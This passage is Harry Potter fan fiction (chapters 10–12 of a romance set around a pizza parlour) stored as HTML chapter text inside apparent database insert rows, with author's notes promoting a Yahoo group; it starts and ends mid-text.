to\nshock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan caught on and she and Lavender looked at Hermione with sympathy.\nHermione went up even closer to the window, she stared inside with disbelief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was taking one last sip of his drink and he held his arm out to\nthe girl and smiled at her endearingly. She took it and they started threading\nthrough the crowd of people, waving goodbye to their friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s mouth was set in a grim line; she began walking away towards\nthe broom very quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; Lavender and Susan started after her. &#8220;Hermione wait&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am SO STUPID!!!&#8221; she screamed, kicking at the handle. &#8220;Stupid!&#8221; she\nturned around, her breath coming to her in short ragged gasps. A couple on a\nbroom whizzed by, leaving a space wide open in front of a gleaming broom,\nHarry&#8217;s Windrider.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A gleam entered Hermione&#8217;s eye as she began marching over. Grabbing\nLavender&#8217;s wand as she came up behind her, Hermione muttered what she knew\nwould unlock Harry&#8217;s broom. She took the handle in her hands and ran over to a\ntree.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione no!!&#8221; Lavender and Susan cried\nout. Hermione paid them no attention as she proceeded to smack the broom\nagainst the strong tree trunk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was just coming out of the club when he saw a figure grab his\nbroom and whack it on the tree. &#8220;HEY!!&#8221; he screamed, leaving the girl at his\nside and rushing over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione slammed the broom against the trunk several more times before\nHarry reached her. She whipped her flying curls out of her face and threw the\nbroom at his feet. &#8220;Wonderful, isn&#8217;t it!&#8221; she cried out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you doing?&#8221; he asked weakly as he came to a stop in front of\nher. His broom, his amazing Windrider, was now in a sad state on the ground,\nsmoking and hissing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Paris, my ASS!&#8221; Hermione took a\nswing at Harry but he ducked and grabbed her around the waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, look!&#8221; Harry spun her around to\nface a small crowd of people. &#8220;Hermione this is Alexa Potter, my sister. Alexa,\nthis is Hermione Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;Hermione&#8230;hi&#8230;&#8221; Alexa was obviously trying hard not to laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s mouth fell open in total and utter embarrassment. &#8220;Hi.&#8221; She\nmanaged to mutter. She pushed away from Harry. &#8220;How the hell was I supposed to\nknow? You told me you&#8217;d be in Paris until tomorrow!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My mother wanted to come back early&#8230;I tried to get a hold of you when I\ngot back but you were out!&#8221; Harry said, trying to take one of her hands in his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked sheepishly at the broom, which gave one final hiss and\nsank into silence. She had never felt so stupid in her life. &#8220;I screwed up.&#8221;\nShe finally said in a tiny voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes but you gave it a hundred percent effort.&#8221; Harry said, flashing her the grin that she found so irresistible.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared at him in shock, she had expected him to yell and carry\non, and possibly even break it off with her. A smile began to spread over her\nface as Harry began to laugh softly. &#8220;You&#8230;are so odd!&#8221; she managed over her own\nlaughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m odd? I&#8217;M odd?&#8221; Harry looked down at his broom. He stepped forward\nand pulled her close to him. &#8220;Think you can fly us home?&#8221; he asked, and\nHermione nodded. &#8220;Come here.&#8221; Harry said softly, hugging her tightly. Hermione\nfelt small tears behind her eyelids; she couldn&#8217;t believe that Harry had\nforgiven her for everything. She wrapped her own arms around him, burying her\nface in his shoulder. Everything was going to be all right.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next morning Susan got up early and put on her favourite, rather,\nRon&#8217;s favourite green sweater, the one he always said brought out the red in\nher hair. After witnessing the display between Harry and Hermione the night\nbefore, she realized she wasn&#8217;t very angry at Ron. Slipping quietly out the\ndoor, she hurried down to the docks where Ron&#8217;s father Arthur had just pushed\noff and Ron was about to follow with some of his guys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron!&#8221; she called out, trying to catch him before he left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; his eyes lit up as she approached. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry for taking your broom.&#8221; Susan said, smiling down at him a bit\nshyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay.&#8221; Ron grinned back. &#8220;I&#8217;m sorry too. It was only a masking\nspell, I took it off.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan looked over at the name; once again it was her\nown. &#8220;Guess what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron shrugged. &#8220;I don&#8217;t know, what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My parents are going to London next weekend for\nfour days and four nights.&#8221; Susan looked gleeful at this news.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah?&#8221; Ron grabbed what looked like\na heavy container and lifted it like it was full of nothing but air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean, yeah? Ron, we have my entire house for four days and\nnights!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I heard you.&#8221; Ron set the container down and picked up another. &#8220;I\ndon&#8217;t want to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, please, I told you I was sorry!&#8221; Susan thought he was angry about\nthe broom after all.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron set the other container down and came up to her, his mouth in a\ntight line. &#8220;Your house, my house, the bathroom at the\npizza parlour&#8230;&#8221; his voice trailed off as some of the other men on the boat\nlaughed. &#8220;What&#8217;s so funny Neville?&#8221; he glared menacingly at one of them, who\nshut his mouth immediately. &#8220;I&#8217;m telling you Susan, I love you, does that mean anything to you at all?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course it does Ron, how can you say it doesn&#8217;t?&#8221; Susan was\nflabbergasted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then tell me you&#8217;ll marry me.&#8221; Ron said, his\nvoice gruff. &#8220;Tell me right now that you&#8217;ll be my wife.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan could only stare at him, words unable to come out of her mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan, right now, either you tell me you&#8217;ll marry me or it&#8217;s over, I\ncan&#8217;t do this anymore.&#8221; Ron was obviously upset, but he had to do this. &#8220;You\nsay the word, and we&#8217;re either broken up or we&#8217;re\nengaged, but it&#8217;s got to be one or the other.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron I&#8230;.&#8221; Susan stammered, the growing alarm in\nher mad her unable to even utter a syllable. They stared at each other for a\nfew long moments and then Ron pulled himself back on the boat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry Sue&#8230;.but I&#8217;m done.&#8221; Ron turned to the man who drove the boat.\n&#8220;Let&#8217;s go.&#8221; He looked back at Susan again who still had her jaw dropped. &#8220;I&#8217;m\nsorry.&#8221; He repeated, as the boat pulled further and further away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Awww *sniff* Susan and Ron broke up :( Think she&#8217;ll ever work up\nthe courage to marry him? You&#8217;ll have to keep reading!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, everyone, this will be the LAST story I post on fanfiction.net, as\nI&#8217;ve had it up to here *makes motion with hand at head* with their outages all\nthe time, I don&#8217;t think I&#8217;m getting the reviews I should be because it&#8217;s always\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So from now on everything will be going up at my group, I would REALLY\nappreciate if you&#8217;d join, and I&#8217;m working on getting my stuff up at\nFictionAlley as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">http://groups.yahoo.com/group/heavenfanfics</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hope to see everyone around!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 11, '\n\n\n\n\n\n<br style="page-break-before:always" clear="all">\n\n\n<p class="MsoNormal">Chapter 11</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Sorry it took so long to get this chapter out. Along with tons of\nschoolwork, my grandmother passed away at the end of August and I&#8217;ve just had a\nlot to deal with in the past few weeks, and haven&#8217;t been able to concentrate on\na comedy story like this one. I did write a 5th chapter to It Was\nBound to Happen, and Ryoko Blue and I have started our co story, called Bridge\nto Caliadrien. Please make sure and check them out!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan had no idea how she had gotten home that day. As she fell onto her\nunmade bed, the fog in her brain lifted and she realised what had just\nhappened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What if I&#8217;ve lost him forever?&#8221; she whispered desperately, tears coming\nto her eyes and spilling down her cheeks. She put her face in her hands and\nsobbed for a few long moments. &#8220;Great Wizards, what am I going to do without\nhim?&#8221; Susan&#8217;s pillow grew increasingly wet from her tears. She felt completely\ndespondent for awhile, and her sobs gradually went down to sniffles, and\nfinally her eyes were dry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In a haze, she got up and pulled her work clothing out of the closet.\nChanging quickly, she remembered she wasn&#8217;t on the schedule for today, but\ndecided to go in anyway, with any luck she could convince Hermione or Lavender\nto give up their shift. She could not stay in the house; she needed to do\nsomething as to not dwell on her current situation. Susan managed to dodge her\nparents as she slipped out the front door, and hurried through the softly\nfalling rain towards the pizza place.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi everyone!&#8221; she called out loudly as she came through the back\nentrance. &#8220;Hi Leonora, hi Trippy&#8230;&#8221; she said to the small house elf stacking\ndishes on a shelf. She tied her apron around her waist and went out to the main\nrestaurant area, where she grabbed a tray and started putting napkin holders\nand silverware on it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, Lavender and Leonora all stared at her wordlessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What? Why are you all staring at me?&#8221; Susan asked as she pulled some\nchairs down from the tabletops.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan, you&#8217;re not on the schedule to work today.&#8221; Leonora said\ncarefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what?&#8221; Susan crossed her arms and glared at the three of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you pregnant Sue?&#8221; Leonora asked softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan snorted. &#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something&#8217;s wrong.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing is, well, nothing really&#8230;it&#8217;s just that well&#8230;I broke up with\nRon this morning.&#8221; Susan managed to say with only a slight tremor in her voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, shit.&#8221; Hermione said, sharing a stricken look with Lavender.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, Hermione, it&#8217;s fine!&#8221; Susan looked up and she smiled, but her eyes\nwere stinging with small tears. &#8220;We weren&#8217;t getting along lately at all, you\nknow, and it&#8217;s just something I had to do&#8230;.everything he wants in life, I\ndon&#8217;t&#8230;the marriage, having kids&#8230;I want all that, I really do, but just not now.\nIf he really loved me like he said, he&#8217;d wait&#8230;.but I guess if I loved him I&#8217;d\nmarry him right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, Lavender and Leonora all stared at her; none of them knew what\nto say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I don&#8217;t need Ron&#8230;&#8221; Susan continued. &#8220;I mean Leonora, when you retire;\nyou&#8217;re going to teach me how to make your sauce right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Leonora nodded. &#8220;Of course, when I retire. I&#8217;ll teach you everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan shook her head vigorously. &#8220;Good, see, I don&#8217;t need Ron to run\nthis place, I could even go take some Muggle courses at a University to learn\nhow to manage money&#8230;.&#8221; She spun off a tale of her life and it sounded better\nand better to her, until she realised something. It was a life completely,\ntotally and utterly without Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;&#8221; Susan stopped her tale midsentence. &#8220;I think I need to go to the\nbathroom&#8230;&#8221; she said, tears finally spilling over her eyelids and down her\ncheeks. She felt like she was going to be seriously ill. Hermione and Lavender\nboth rushed behind her, Leonora following them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When Saturn is in the Fifth House&#8230;&#8221; Lavender muttered as she made some\nmarks on her star chart. The balcony at the Bowers house was in the perfect\nposition for stargazing. &#8220;When Jupiter crosses Mars in the middle of the\nmonth&#8230;&#8221; she trailed off as she saw Henry coming up the driveway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Lavender!&#8221; he called up to her, smiling as he leaned his broom\nagainst the side post on the porch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi.&#8221; She grinned back; the butterflies in her stomach were fluttering\nmadly. &#8220;I hope you don&#8217;t mind me being out here on the balcony, I made sure I\ncould hear Lori if she needs me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How is she?&#8221; Henry asked as he climbed the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s fine.&#8221; Lavender set her charts aside and got up as he went in the\ndoor to the kitchen. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you like something to drink, a Fizzy, some juice?&#8221; he asked as he\nuncorked a bottle of red wine and poured some for himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender paused for a moment. &#8220;I&#8217;ll have some wine.&#8221; She replied as she\nturned back to the bench she had been sitting on. Henry stared after her a\nsecond or two, but poured her a glass of wine as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here.&#8221; He handed her the glass. &#8220;So what are you up to, out here?&#8221; he\nsettled on the bench next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well my boss asked me to make some new star charts for her, and this is\nreally a perfect night for it.&#8221; Lavender replied eagerly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are the star charts for?&#8221; Henry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well she uses them when she does readings; they help guide her Inner\nEye to make the right predictions. Every month I have to make a new set for\nher.&#8221; Lavender replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can you do a reading for me?&#8221; Henry asked, his eyes twinkling in\namusement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh um&#8230;&#8221; Lavender blushed furiously. &#8220;I&#8217;m not sure if I&#8217;m qualified\nenough to do that yet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure you are.&#8221; Henry said. &#8220;You got a scholarship in this field didn&#8217;t\nyou?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well yes&#8230;okay I&#8217;ll do one, but just don&#8217;t take it seriously.&#8221; Lavender\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I never do.&#8221; Henry said lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender fumbled around her charts for the correct one, then studied it\nintently for a few long moments. &#8220;This is really strange.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is?&#8221; Henry asked, leaning over and looking at the chart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, predictions are supposed to change from month to month, and this\none is the same as when you came in that one day with Lori and Sibyll read for\nyou.&#8221; Lavender&#8217;s brow furrowed as she read further into it. &#8220;In fact, it&#8217;s\nexactly the same. Whatever was supposed to happen to you, the big event she was\ntalking about obviously hasn&#8217;t happened yet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see.&#8221; Henry said, sitting back and sipping his wine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But, like I said, don&#8217;t take it seriously.&#8221; Lavender said. &#8220;When my\nInner Eye is developed more, that&#8217;s when you should pay more attention.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Inner Eye?&#8221; Henry chuckled. &#8220;Do you have an eye inside your body that\njust floats around or something, and foresees people&#8217;s futures?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Lavender cried out, but she started to giggle at the thought of an\neye just meandering around inside of her. &#8220;It&#8217;s more of a perception sort of\nthing, and if we DID have an eye inside of us, I&#8217;m SURE it&#8217;d be in our heads\nsomewhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry laughed and Lavender flushed. &#8220;Am I babbling again?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; He joked. &#8220;But keep going, I like it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I&#8217;ll tell you one more thing then. This happens to be the best\nnight for stargazing and making star charts, I&#8217;ll bet you all Divination\napprentices are out doing just what I&#8217;m doing.&#8221; Lavender said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then can I propose a toast?&#8221; Henry asked, lifting his glass.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Lavender replied, a bit nervously. <i style="mso-bidi-font-style:\nnormal">&#8216;This is a bit romantic&#8230;&#8217;</i> she thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;To the best stargazing night a Divination apprentice could ask for.&#8221; He\nclinked his glass softly against hers and they both sipped the dark wine. &#8220;A\nfloating eye in the body&#8230;&#8221; he smirked and they both started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I had a really good time tonight Harry.&#8221; Hermione said as he landed\nthem gently in front of her house.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; Harry said, clasping her hand in his as he walked her to the\nfront porch. &#8220;Listen, I have a question to ask you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s that?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, my mother has asked me to ask you if you&#8217;d like to come over for\ndinner next week, they&#8217;re coming to the vacation house and would really like to\nmeet you.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your mother wants to meet me?&#8221; Hermione&#8217;s eyes widened. Everyone knew\nLily Potter, being she was the wife of the Minister of Magic and one of the\nmost beautiful witches in the world. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I&#8217;d like you to meet them too, I&#8217;m sure they&#8217;ll love you as much\nas I do.&#8221; Harry said, resting his forehead against hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What day?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Next Tuesday? Is that good for you?&#8221; He replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have to work until six.&#8221; She frowned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well we don&#8217;t eat until half past seven.&#8221; Harry said.\n&#8220;And you don&#8217;t have to wear anything especially fancy either; we only dress up\nfor dinner on certain occasions.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Hermione smiled up at him. He grinned back and bent down to\nkiss her lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll pick you up at seven then.&#8221; Harry said, wrapping his arms around\nher waist and pulling her body tightly against his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t have to leave right now do you?&#8221; Hermione purred softly in\nhis ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221; Harry said immediately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221; She replied softly, giving his earlobe a seductive lick.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll have you know that there isn&#8217;t a shameful bone in my body, and if\nyou keep doing that I&#8217;ll be forced to shag you right here on your porch.&#8221; Harry\nwarned her, his green eyes growing dark.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose that means you should get your ass up to my room right now.&#8221;\nHermione said, kissing him and opening the door to her house. &#8220;See you in a\nminute!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that seems a good place to leave things off ;) LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sorry this chapter is so short, but the next few will be longer, lots\nwill be happening soon!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please don&#8217;t forget to check out the stories I talked about at the top,\nand be sure and join my Yahoo Group so that you can get my stories, they are\nalso going up at the Astronomy Tower!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">http://groups.yahoo.com/group/heavenfanfics</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 12, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 12</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks again to all who reviewed! And a special thanks to those who had\nkind things to say about my grandmother, it&#8217;s truly appreciated. I&#8217;m glad that\nnow I&#8217;ve got myself focused on this again, and I&#8217;ll try to even get another few\nchapters out as fast as they come&#8230;..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For those of you who enjoyed Return to Me and It Was Bound to Happen, you&#8217;ll be happy to know the sequel to both those\nstories is up now, called Within the Shadows of Hatred.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">R/R!!! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue!&#8221; Hermione called out breathlessly as she charged up the stairs of\nthe pizza parlour. &#8220;Susan!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Susan asked, coming out from the kitchen. &#8220;Are you all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine, fine&#8230;I just have a big favour to ask\nof you.&#8221; Hermione replied. She stuck her bag behind the counter. She grinned\nwidely at Susan, who smiled wanly in return.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m almost afraid to ask.&#8221; Susan said warily. &#8220;This doesn&#8217;t involve Ron\ndoes it, because I really don&#8217;t think I can handle&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it doesn&#8217;t.&#8221; Hermione said. &#8220;It&#8217;s a pretty big favour though&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well what is it?&#8221; Susan asked, almost impatiently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well see, Harry&#8217;s friend Dean Thomas is coming in from Scotland this weekend, and\nit&#8217;s sort of last minute, and all his friends are busy, and we just need\nsomeone to be a double&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, Hermione, no way.&#8221; Susan crossed her arms. &#8220;I&#8217;m not ready for\ndating, not at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, that&#8217;s why I wasn&#8217;t sure about asking, but you were the only\nperson I could think of.&#8221; Hermione wheedled. &#8220;Please, please do this for me\nSusan I promise I&#8217;ll make it up to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 